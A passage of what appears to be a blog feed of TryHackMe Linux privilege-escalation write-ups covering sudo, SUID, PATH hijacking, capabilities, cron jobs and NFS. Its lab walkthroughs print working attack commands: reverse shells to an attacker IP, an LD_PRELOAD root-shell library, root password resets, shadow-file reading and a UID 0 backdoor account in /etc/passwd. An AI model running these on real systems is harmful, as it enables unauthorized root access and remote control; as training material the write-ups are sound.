06:40:16 CMD: UID=0     PID=1945   |<br>2026/02/10 06:40:16 CMD: UID=0     PID=1946   | chpasswd<br>2026/02/10 06:40:16 CMD: UID=0     PID=1948   | /bin/bash /root/run-rm-tmp.sh</pre><p>As you can see, root (UID=0) is running a script in the /root folder (which is not accessible by low-level users) and another one in /usr/local/bin.</p><p>Checking the file permissions and contents reveals the following:</p><p>Terminal</p><pre>john@privesc:~$ ls -la /usr/local/bin/rm-tmp.sh<br>-rwxrwxrwx 1 root root 57 Jan 20 10:27 /usr/local/bin/rm-tmp.sh<br>john@privesc:~$ cat /usr/local/bin/rm-tmp.sh<br>#!/bin/bash<br>rm -r /tmp/*</pre><p>It appears that this script is meant to clear the /tmp folder; however, since the script is world-writable and runs in a loop as root, you can add your own command to escalate privileges. In the example below, a command was added to change the root password.</p><p>Terminal</p><pre>#!/bin/bash<br>rm -r /tmp/*<br>echo &quot;root:newpass&quot; | chpasswd</pre><p>Finally, you can log in as the root user by just calling the su command and inputting the new password.</p><p>Terminal</p><pre>john@privesc:~$ su<br>Password:<br>root@privesc:/home/john#</pre><p>Next, you will have to use pspy to facilitate the exploitation of a similar scenario and gain root privileges.</p><h4>Answer the questions below</h4><p>What is the full path of the script vulnerable to privilege escalation?</p><blockquote>/var/local/syslog-backup.sh</blockquote><p>What is the flag in /root/flag.txt?</p><p>now we just do the same but with /var/local/syslog-backup.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*umYmo4FzccrjQOvrU0IDjQ.png" /></figure><h3>Challenge</h3><p>to get franks shell we have to use /opt/scripts/backup.sh</p><p>put there our payload by command below</p><pre>echo &quot;python3 -c &#39;import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&quot;&lt;your attakbox IP&gt;\&quot;,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\&quot;/bin/bash\&quot;)&#39;&quot; &gt;&gt; /opt/scripts/backup.sh</pre><p>and start netcat</p><pre>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*cMmzOqw_ubYprPqbV15eDw.png" /></figure><p>to get root flag first we have to chek ur priviliges</p><pre>sudo -l</pre><p>the output shows the vulnerability</p><p>use the comand below to make exploit</p><pre>echo &#39;<br>#include &lt;sys/types.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdlib.h&gt;<br><br>void _init() {<br>    unsetenv(&quot;LD_PRELOAD&quot;);<br>    setgid(0);<br>    setuid(0);<br>    system(&quot;/bin/bash&quot;);<br>}<br>&#39; &gt; /tmp/pe.c</pre><p>next use the command below to Compile</p><pre>gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles</pre><p>finally run with the command below</p><pre>sudo LD_PRELOAD=/tmp/pe.so /usr/bin/id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gdiG-BSvxlV4ncQUqvehtw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c20257f8399b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try hack Me: Linux Privilege Escalation: Basics Write Up]]></title>
            <link>https://medium.com/@jozepjoestar/try-hack-me-linux-privilege-escalation-basics-write-up-a8567fcaf4e0?source=rss-1fa5e7ca17bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8567fcaf4e0</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Jozepjoestar]]></dc:creator>
            <pubDate>Fri, 30 Oct 2026 16:32:08 GMT</pubDate>
            <atom:updated>2026-10-30T16:32:08.036Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-d4YZpDwmVz-DThZ-5jIA.png" /></figure><h3>Sudo</h3><p>Basic Sudo Escalation</p><p>Check your current root privileges using sudo -l. Example output:</p><pre>User labuser may run the following commands on target:<br>    (ALL) NOPASSWD: /bin/cat</pre><p>Here, the user can run /bin/cat as root, meaning they can read any file as root (e.g., sudo cat /etc/shadow to grab hashes for offline cracking).</p><h4>1. Leverage Application Functions</h4><p>If an app lacks a known exploit, use its built-in features. Example: Apache2 has the -f flag to load alternate config files.</p><p>Attack: Feed /etc/shadow as the config file. Apache will throw a syntax error, quoting the first line of the file (which is the root hash).</p><p>Command:</p><pre>sudo apache2 -C &quot;LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so&quot; -f /etc/shadow</pre><h4>2. Leverage LD_PRELOAD</h4><p>If sudo -l shows env_keep+=LD_PRELOAD, you can inject a custom shared library that executes before the program runs.</p><p>Step 1: Create shell.c:</p><pre>#include &lt;stdio.h&gt; #include &lt;sys/types.h&gt; #include &lt;stdlib.h&gt; void _init() { unsetenv(“LD_PRELOAD”); setgid(0); setuid(0); system(“/bin/bash”); }</pre><p>Step 2: Compile to a shared object:</p><pre>gcc -fPIC -shared -o shell.so shell.c -nostartfiles</pre><p>Step 3: Run any allowed sudo command (e.g., find) with the library:</p><pre>sudo LD_PRELOAD=/home/user/shell.so find</pre><p><em>(Results in a root shell).</em></p><p>Note: LD_PRELOAD only works if the real UID equals the effective UID (works with sudo, but not SUID binaries). While LD_PRELOAD is rare, simpler sudo vectors are more common.</p><h4>Answer the questions below</h4><p>What is the full path of the program that john can run with sudo?</p><p>use sudo -l</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*OdNKTqi-3ZtZFGexmJC2dA.png" /></figure><blockquote>/usr/bin/nano</blockquote><p>What are the contents of /root/flag.txt?</p><p>now use that we found</p><pre>sudo /usr/bin/nano</pre><p>next use combinations below to execute any command</p><p>CTRL + R</p><p>CTRL + N</p><p>and write there</p><pre>cat /root/flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*sYYJkDvNAY3a-64NTdpr2Q.png" /></figure><h3>SUID</h3><p>Many of the Linux privilege controls rely on controlling the interactions between users and files. This is done with permissions. By now, you know that files can have read, write, and execute permissions. These are given to users within their privilege levels. This changes with SUID (Set-user Identification) and SGID (Set-group Identification). These allow files to be executed with the permission level of the file owner or the group owner, respectively.</p><p>You will notice these files have an s bit set showing their special permission level. This means that the program will run with the effective UserID of the owner of the binary.</p><p>find / -type f -perm -04000 -ls 2&gt;/dev/null will list files that have SUID or SGID bits set.</p><p>find / -type f -perm -04000 -ls 2&gt;/dev/null</p><pre>john@suid-box:~$ find / -type f -perm -04000 -ls 2&gt;/dev/null<br>809081   40 -rwsr-xr-x   1 root     root        37552 Feb 15  2011 /usr/bin/chsh<br>812578  172 -rwsr-xr-x   2 root     root       168136 Jan  5  2016 /usr/bin/sudo<br>810173   36 -rwsr-xr-x   1 root     root        32808 Feb 15  2011 /usr/bin/newgrp<br>812578  172 -rwsr-xr-x   2 root     root       168136 Jan  5  2016 /usr/bin/sudoedit<br>809080   44 -rwsr-xr-x   1 root     root        43280 Feb 15  2011 /usr/bin/passwd<br>809078   64 -rwsr-xr-x   1 root     root        60208 Feb 15  2011 /usr/bin/gpasswd<br>809077   40 -rwsr-xr-x   1 root     root        39856 Feb 15  2011 /usr/bin/chfn<br>816078   12 -rwsr-sr-x   1 root     staff        9861 May 14  2017 /usr/local/bin/suid-so<br>816762    8 -rwsr-sr-x   1 root     staff        6883 May 14  2017 /usr/local/bin/suid-env<br>816764    8 -rwsr-sr-x   1 root     staff        6899 May 14  2017 /usr/local/bin/suid-env2<br>815723  948 -rwsr-xr-x   1 root     root       963691 May 13  2017 /usr/sbin/exim-4.84-3<br>832517   12 -rwsr-xr-x   1 root     root         6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device<br>832743  212 -rwsr-xr-x   1 root     root       212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign<br>812623   12 -rwsr-xr-x   1 root     root        10592 Feb 15  2016 /usr/lib/pt_chown<br>473324   36 -rwsr-xr-x   1 root     root        36640 Oct 14  2010 /bin/ping6<br>473326  188 -rwsr-xr-x   1 root     root       188328 Apr 15  2010 /bin/nano  (Note: this normally doesn&#39;t have SUID)<br>473323   36 -rwsr-xr-x   1 root     root        34248 Oct 14  2010 /bin/ping<br>473292   84 -rwsr-xr-x   1 root     root        78616 Jan 25  2011 /bin/mount<br>473312   36 -rwsr-xr-x   1 root     root        34024 Feb 15  2011 /bin/su<br>473290   60 -rwsr-xr-x   1 root     root        53648 Jan 25  2011 /bin/umount<br>465223  100 -rwsr-xr-x   1 root     root        94992 Dec 13  2014 /sbin/mount.nfs</pre><p>A good practice would be to compare executables on this list with GTFOBins (<a href="https://gtfobins.github.io/">https://gtfobins.github.io</a>). Clicking on the SUID button will filter binaries known to be exploitable when the SUID bit is set (you can also use this link for a pre-filtered list <a href="https://gtfobins.org/#//^suid$">https://gtfobins.org/#//^suid$</a>. The list above shows that nano has the SUID bit set. Typical of real-life privilege escalation scenarios, you will need to find intermediate steps that will help you leverage whatever minuscule finding we have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/0*JdMLIw6LPR7I06JG.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/20/0*br3AX8DscWaXdGOv" /></figure><p><strong>Note:</strong> The attached VM has another binary with SUID other than nano. You will have to find it using the techniques presented in this task.</p><p>The SUID bit set for the nano text editor allows you to create, edit, and read files using the file owner’s privilege. Nano is owned by root, which you can read and edit files at a higher privilege level than your current user has. At this stage, you have two basic options for privilege escalation: reading the /etc/shadow file or adding our user to /etc/passwd.</p><h4>Reading the /etc/shadow File</h4><p>You can see that the nano text editor has the SUID bit set by running the find / -type f -perm -04000 -ls 2&gt;/dev/null command.</p><p>nano /etc/shadow will print the contents of the /etc/shadow file. You can now use the unshadow tool to create a file crackable by John the Ripper. To achieve this, unshadow needs both the /etc/shadow and /etc/passwd files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/0*PrqnylmRr2qmFlXE.png" /></figure><p>The unshadow tool’s usage can be seen below:<br>unshadow passwd.txt shadow.txt &gt; passwords.txt</p><p>unshadow passwd.txt shadow.txt &gt; passwords.txt</p><pre>john@suid-box:~$ unshadow passwd.txt shadow.txt &gt; passwords.txt<br>Created directory /home/user/.john</pre><p>With the correct wordlist and a little luck, John the Ripper can return one or several passwords in cleartext. For a more detailed room on John the Ripper, you can visit our <a href="https://tryhackme.com/room/johntheripperbasics">John the Ripper: The Basics</a> room.</p><h4>Replacing the root User</h4><p>The other option would be to add a new user who has root privileges. This would help you circumvent the tedious process of password cracking. Below is an easy way to do it.</p><p>You will need the hash value of the password you want the new user to have. This can be done quickly using the openssl tool on Kali Linux.</p><p>openssl passwd -1 -salt THM password1</p><pre>john@suid-box:~$ openssl passwd -1 -salt THM password1<br>$1$THM$WnbwlliCqxFRQepUTCkUT1</pre><p>You will then add this password with a username to the /etc/passwd file.</p><p>/etc/passwd</p><pre>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br>bin:x:2:2:bin:/bin:/bin/sh<br>sys:x:3:3:sys:/dev:/bin/sh<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/bin/sh<br>man:x:6:12:man:/var/cache/man:/bin/sh<br>lp:x:7:7:lp:/var/spool/lpd:/bin/sh<br>mail:x:8:8:mail:/var/mail:/bin/sh<br>news:x:9:9:news:/var/spool/news:/bin/sh<br>uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh<br>www-data:x:33:33:www-data:/var/www:/bin/sh<br>proxy:x:13:13:proxy:/bin:/bin/sh<br>backup:x:34:34:backup:/var/backups:/bin/sh<br>list:x:38:38:Mailing List Manager:/var/list:/bin/sh<br>irc:x:39:39:ircd:/var/run/ircd:/bin/sh<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh<br>nobody:x:65534:65534:nobody:/nonexistent:/bin/sh<br>libuuid:x:100:101::/var/lib/libuuid:/bin/false<br>Debian-exim:x:101:103::/var/spool/exim4:/bin/false<br>sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin<br>user:x:1000:1000:user,,,:/home/user:/bin/bash<br>statd:x:103:65534::/var/lib/nfs:/bin/false<br>user2:$1$J/n4dHHj$QXqkhtfrlz1VYMjXbyK820:0:0:root:/root:/bin/bash<br>hacker:$1$THM$WnbwlliCqxFRQepUTCkUT1:0:0:root:/root:/bin/bash</pre><p>Once your user is added (please note how root:/bin/bash was used to provide a root shell), you will need to switch to this user and hopefully should have root privileges.</p><p>Escalation to root</p><pre>john@suid-box:~$ id<br>uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)<br>john@suid-box:~$ whoami<br>john<br>john@suid-box:~$ su hacker<br>Password:<br>root@suid-box:~# id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@suid-box:~# whoami<br>root</pre><p>Next, you will have to exploit a similar vulnerability on the target system.</p><h4>Answer the questions below</h4><p>What is the full path of the binary in /usr/bin/ that is vulnerable to a SUID exploitation?</p><blockquote>/usr/bin/vim.basic</blockquote><p>What are the contents of the flag found in /root/?</p><p>first we have to generate a hash (save your output)</p><pre>openssl passwd -1 -salt THM password1</pre><p>now open etc/passwd with /usr/bin/vim.basic</p><pre>/usr/bin/nano /etc/passwd</pre><p>now we can only read so type “o” to write</p><p>now write somewhere</p><pre>hacker:(your hash):0:0:root:/root:/bin/bash</pre><p>exit and save</p><p>next use the command below</p><pre>su hacker</pre><p>and use 123 as the password</p><p>choose root as directory and open the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*_OecIEX2ZwcBZuHt8kzGzg.png" /></figure><h3>PATH</h3><p>If a directory for which your user has write permission is located in PATH, you could potentially hijack an application to run a script. PATH in Linux is an environmental variable that tells the operating system where to search for executables. For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in directories defined under $PATH. (PATH is the environmental variable we&#39;re talking about here and path is the location to a directory).</p><p>Typically, the PATH will look like this:</p><p>echo $PATH</p><pre>john@path-box:~$ echo $PATH<br>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin</pre><p>If you type “thm” into the command line, these are the locations Linux will look in for an executable called thm. The scenario below will give you a better idea of how this can be leveraged to increase our privilege level. As you will see, this depends entirely on the existing configuration of the target system, so be sure you can answer the questions below before trying this.</p><ol><li>What directories are located under $PATH?</li><li>Does your current user have write privileges for any of these directories?</li><li>Can you modify $PATH?</li><li>Is there a script/application you can start that will be affected by this vulnerability?</li></ol><p>For demo purposes, refer to the program below:</p><p>This script tries to launch a system binary called “thm”, but the example can easily be replicated with any binary. Below, the code is compiled into an executable and given SUID permissions.</p><p>cat path_exp.c</p><pre>root@path-box:~# cat path_exp.c<br>#include&lt;unistd.h&gt;<br>void main()<br>{ setuid(0);<br>  setgid(0);<br>  system(&quot;thm&quot;);<br>}<br>root@path-box:~# gcc path_exp.c -o program -w<br>root@path-box:~# chmod u+s program<br>root@path-box:~# ls -l<br>total 24<br>-rwsr-xr-x 1 root  root  16792 Jun 17 07:02 program<br>-rw-rw-r-- 1 alper alper    76 Jun 17 06:53 path_exp.c</pre><p>Once executed, “program” will look for an executable named “thm” inside directories listed under PATH. If any writable directory is listed under PATH, you could create a binary named <strong>thm</strong> under that directory and have your “program” binary run it. As the SUID bit is set, this binary will run with root privileges. A simple search for writable directories can be done using the find / -writable 2&gt;/dev/null command. The output of this command can be cleaned using a simple cut and sort sequence.</p><p>find / -type d -writable 2&gt; /dev/null | sort -u</p><pre>john@path-box:~$ find / -type d -writable 2&gt; /dev/null | sort -u<br>/run/user/1001/systemd/inaccessible<br>/run/user/1001/systemd/propagate<br>/run/user/1001/systemd/propagate/.os-release-stage<br>/run/user/1001/systemd/units<br>/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service<br>/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/app.slice<br>/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/app.slice/dbus.socket<br>/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/app.slice/gpg-agent-ssh.socket<br>/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/init.scope<br>/tmp<br>/tmp/.ICE-unix<br>/tmp/.X11-unix<br>/tmp/.XIM-unix<br>/tmp/.font-unix</pre><p>The directory that will be easier to write to is probably /tmp. At this point, because /tmp is not present in PATH, you will need to add it.</p><p>As you can see below, the export PATH=/tmp:$PATH command accomplishes this.</p><p>export $PATH=/tmp:$PATH</p><pre>john@path-box:~$ echo $PATH<br>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin<br>john@path-box:~$ export PATH=/tmp:$PATH<br>john@path-box:~$ echo $PATH<br>/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin</pre><p>At this point, the program binary will also look under the /tmp directory for an executable named “thm”.</p><p>Now that the program binary will look for a thm executable in /tmp, our next step is to create a thm binary or a script in this directory that will escalate our privileges.</p><p>create thm script</p><pre>john@path-box:~$ cd /tmp<br>john@path-box:~$ echo &quot;/bin/bash&quot; &gt; thm<br>john@path-box:~$ chmod 777 thm<br>john@path-box:~$ ls -l thm<br>-rwxrwxrwx 1 john john 10 Jun 17 14:36 thm</pre><p>You will have to give execution permission to your copy of /bin/bash. What makes a privilege escalation possible within this context is that the program binary runs with root privileges.</p><p>Escalate to root</p><pre>john@path-box:~$ whoami<br>john<br>john@path-box:~$ ./program<br>root@path-box:~# whoami<br>root</pre><p>Next, you will have to exploit a similar scenario.</p><h4>Answer the questions below</h4><p>Find a custom SUID binary on the target host, using the techniques you learned before. What is the full path of this binary?</p><blockquote>/opt/path/mywhoami</blockquote><p>Run the strings command on the SUID binary. What binary does it call from path?</p><blockquote>whoami</blockquote><h3>Capabilites</h3><p>Another method system administrators can use to elevate the privilege level of a process or binary is “capabilities”. Capabilities help manage privileges at a more granular level. For example, if the SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the system administrator does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher-privileged user.<br>The capabilities man page provides detailed information on its usage and options.</p><p>You can use the getcap tool to list enabled capabilities.</p><p>getcap -r / 2&gt;/dev/null</p><pre>john@capabilities-box:~$ getcap -r / 2&gt;/dev/null<br>/home/john/vim = cap_setuid+ep<br>/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep<br>/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep<br>/usr/bin/traceroute6.iputils = cap_net_raw+ep<br>/usr/bin/ping = cap_net_raw+ep<br>/usr/bin/mtr-packet = cap_net_raw+ep</pre><p>The cap_setuid+ep capability allows a binary to change its user ID to any user (including root) with the capability immediately active when executed.</p><p>When run as an unprivileged user, getcap -r / will generate a huge amount of errors, so it is good practice to redirect the error messages to /dev/null.</p><p>Please note that neither Vim nor its copy has the SUID bit set. This privilege escalation vector is therefore not discoverable when enumerating files looking for SUID.</p><p>ls -l /home/john/vim</p><pre>john@capabilities-box:~$ ls -l /usr/bin/vim<br>lrwxrwxrwx 1 root root 21 Jun 16 00:43 /usr/bin/vim → /etc/alternatives/vim<br>john@capabilities-box:~$ ls -l /home/john/vim<br>-rwxr-xr-x 1 root root 2906824 Jun 16 02:06 /home/john/vim</pre><p><a href="https://gtfobins.org/#//^capabilities$">GTFObins</a> has a good list of binaries that can be leveraged for privilege escalation if you find any set capabilities.</p><p>Notice that Vim can be used with the following command and payload:</p><p>Python exploit</p><pre>john@capabilities-box:~$ whoami<br>john<br>john@capabilities-box:~$ ./vim -c &#39;:py3 import os; os.setuid(0); os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, &quot;reset; exec sh&quot;)&#39;</pre><p>The command above uses Vim to run Python code. First, the os library is imported. Then, setuid is used to set the user ID to 0(root); without this, the next command would be run with the original user ID. Finally, /bin/bash is called with root privileges.</p><p>Escalation to root</p><pre>root@capabilities-box:~# id<br>uid=0(root) gid=1000(john) groups=1000(john),4(adm),4(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)</pre><p>Next, you will have to exploit a similar vulnerability on the target system.</p><h4>Answer the questions below</h4><p>How many binaries have set capabilities?</p><blockquote>6</blockquote><p>What is the full path of the binary that can be used to gain root through its capabilities?</p><blockquote>/usr/bin/python3.12</blockquote><p>What are the contents of /root/flag.txt?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BI3Qm1OekEsd0ObzzfYn8w.png" /></figure><h3>Corn Jobs</h3><p>Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privileges of their owners and not the current user. While properly configured cron jobs are not inherently vulnerable, they can provide a privilege escalation vector under some conditions. <br>If there is a scheduled task that runs with root privileges and you can change the script that will be run, then your script will run with root privileges.</p><p>Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.</p><p>Each user on the system has their crontab file and can run specific tasks whether they are logged in or not. As you can expect, the goal will be to find a cron job set by root and have it run our script, ideally a shell.</p><p>Any user can read the file keeping system-wide cron jobs under /etc/crontab.</p><p>While CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks that run daily, weekly, or monthly in penetration test engagements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/20/0*iIIchJJuHVjp_puQ" /></figure><p><strong>Info:</strong> The entries on the target machine will be different than the ones used in these examples.</p><p>cat /etc/crontab</p><pre>john@cron-box:~$ cat /etc/crontab<br># /etc/crontab: system-wide crontab<br># Unlike any other crontab you don&#39;t have to run the `crontab&#39;<br># command to install the new version when you edit this file<br># and files in /etc/cron.d. These files also have username fields,<br># that none of the other crontabs do.<br></pre><p>You can see the backup.sh script was configured to run every minute. The content of the file shows a simple script that creates a backup of the prices.xls file.</p><p>cat backup.sh</p><pre>john@cron-box:~$ ls -la backup.sh<br>-rwxrwxrwx 1 root root 142 Apr 28 14:23 backup.sh<br>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br># Example of job definition:<br># .---------------- minute (0 - 59)<br># |  .------------- hour (0 - 23)<br># |  |  .---------- day of month (1 - 31)<br># |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...<br># |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat<br># |  |  |  |  |<br># *  *  *  *  * user-name command to be executed<br>17 *    * * *   root    cd / &amp;&amp; run-parts --report /etc/cron.hourly<br>25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )<br>47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )<br>52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )<br>#<br>* * * * * root /home/john/Desktop/backup.sh</pre><p>As the current user can access this script, you can modify it to create a reverse shell with root privileges.</p><p>The script will use the tools available on the target system to launch a reverse shell.<br>Two points to note:</p><ol><li>The command syntax will vary depending on the available tools. (e.g., nc will probably not support the -e option you may have seen used in other cases)</li><li>You should always prefer to start reverse shells, as you don’t want to compromise the system integrity during a real penetration testing engagement.</li></ol><p>The file should look like this:</p><p>Replace backup.sh</p><pre>john@cron-box:~$ cat backup.sh<br>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/10.80.90.90/6666 0&gt;&amp;1</pre><p>You then run a listener on your attacking machine to receive the incoming connection.</p><p>Start listener</p><pre>root@10.80.90.90:~# nc -nlvp 6666<br>listening on [any] 6666 ...<br>connect to [10.80.90.90] from (UNKNOWN) [10.80.131.40] 43550<br>bash: cannot set terminal process group (4483): Inappropriate ioctl for device<br>bash: no job control in this shell<br>root@targetsystem:~# id<br>id<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>Crontab is always worth checking, as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level.</p><p>System administrators need to run a script at regular intervals. They create a cron job to do this. After a while, the script becomes useless, and they delete it but forget to clean the relevant cron job.</p><p>cat /etc/crontab</p><pre>john@cron-box:~$ cat /etc/crontab<br># /etc/crontab: system-wide crontab<br># Unlike any other crontab you don&#39;t have to run the `crontab&#39;<br># command to install the new version when you edit this file<br># and files in /etc/cron.d. These files also have username fields,<br># that none of the other crontabs do.<br>SHELL=/bin/sh<br>PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br># Example of job definition:<br># .---------------- minute (0 - 59)<br># |  .------------- hour (0 - 23)<br># |  |  .---------- day of month (1 - 31)<br># |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...<br># |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat<br># |  |  |  |  |<br># *  *  *  *  * user-name command to be executed<br>17 *    * * *   root    cd / &amp;&amp; run-parts --report /etc/cron.hourly<br>25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )<br>47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )<br>52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )<br>#<br>* * * * * root antivirus.sh<br>john@cron-box:~$ locate antivirus.sh<br>john@cron-box:~$</pre><p>The example above shows a similar situation where the antivirus.sh script was deleted, but the cron job still exists. If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. In this case, you should be able to create a script named antivirus.sh under a writable directory listed in the PATH variable, and it should be run by the cron job. The file on the target system should look similar to the previous one.</p><p>Create antivirus.sh</p><pre>john@cron-box:~$ cat antivirus.sh<br>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/10.80.90.90/7777 0&gt;&amp;1</pre><p>The incoming reverse shell connection has root privileges:</p><p>Start listener</p><pre>root@10.80.90.90:~# nc -nlvp 7777<br>listening on [any] 6666 ...<br>connect to [10.80.90.90] from (UNKNOWN) [10.80.131.40] 59838<br>bash: cannot set terminal process group (7275): Inappropriate ioctl for device<br>bash: no job control in this shell<br>id<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>Another way of exploiting this is simply changing the root password by adding the following line to the vulnerable script.</p><p>echo &quot;root:newpass&quot; | chpasswd</p><p>Then you can simply log in as root after the job is run by calling su and supplying your new password.</p><p>If you ever find an existing script or task attached to a cron job, it is always worth spending time to understand the function of the script and how any tool is used within the context. For example, tar, 7z, rsync, etc., can be exploited using their wildcard feature.</p><p>While a lot of the time you will find cron jobs in /etc/crontab, this is not the only place where they can be defined. The other locations are:</p><ul><li>/etc/cron.d/— a directory for drop-in crontab fragments, typically used by packages. Same format as /etc/crontab (includes the user field).</li><li>/etc/cron.hourly/ — scripts here are run once per hour.</li><li>/etc/cron.daily/ — scripts here are run once per day.</li><li>/etc/cron.weekly/ — scripts here are run once per week.</li><li>/etc/cron.monthly/ — scripts here are run once per month.</li><li>/var/spool/cron/crontabs/ (Debian/Ubuntu) — each user&#39;s personal crontab lives here as a file named after the user.</li></ul><p>Next, you will have to exploit a similar vulnerability on the target system.</p><h4>Answer the questions below</h4><p>What is the full path of the cron job that can be exploited?</p><blockquote>/etc/cron.d/cleanup</blockquote><p>What are the contents of /root/flag.txt?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*j2__K-7GkjlOMtUUbJbBvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*UI9o9H-bNn2Ml4u1CG27fA.png" /></figure><h3>NFS</h3><p>Privilege escalation vectors are not confined to internal access. Shared folders and remote management interfaces such as SSH and Telnet can also help you gain root access on the target system. Some cases will also require using both vectors, e.g., finding a root SSH private key on the target system and connecting via SSH with root privileges instead of trying to increase your current user’s privilege level.</p><p>Another vector is a misconfigured network shell. This vector can sometimes be seen during penetration testing engagements when a network backup system is present.</p><p>NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/20/0*0tVA0rc73vaoNKc3" /></figure><p><strong>Info:</strong> The shares in this task examples and the ones you will target may be different.</p><p>cat /etc/exports</p><pre>john@nfs-box:~$ cat /etc/exports<br># /etc/exports: the access control list for filesystems which may be exported<br>#               to NFS clients.  See exports(5).<br>#<br># Example for NFSv2 and NFSv3:<br># /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)<br>#<br># Example for NFSv4:<br># /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)<br># /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)<br>/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)<br>/mnt/sharedfolder *(rw,sync,insecure,no_subtree_check)<br>/backups *(rw,sync,insecure,no_root_squash,no_subtree_check)</pre><p>The critical element for this privilege escalation vector is the <strong>no_root_squash</strong> option you can see above. By default, NFS will change the root user to nfsnobody, stripping any file from operating with root privileges. If the <strong>no_root_squash</strong> option is present on a writable share, we can create an executable(that would be owned by root) with the SUID bit set and run it on the target system.</p><p>To start, enumerate the target shares from your attacking machine.</p><p>List shares 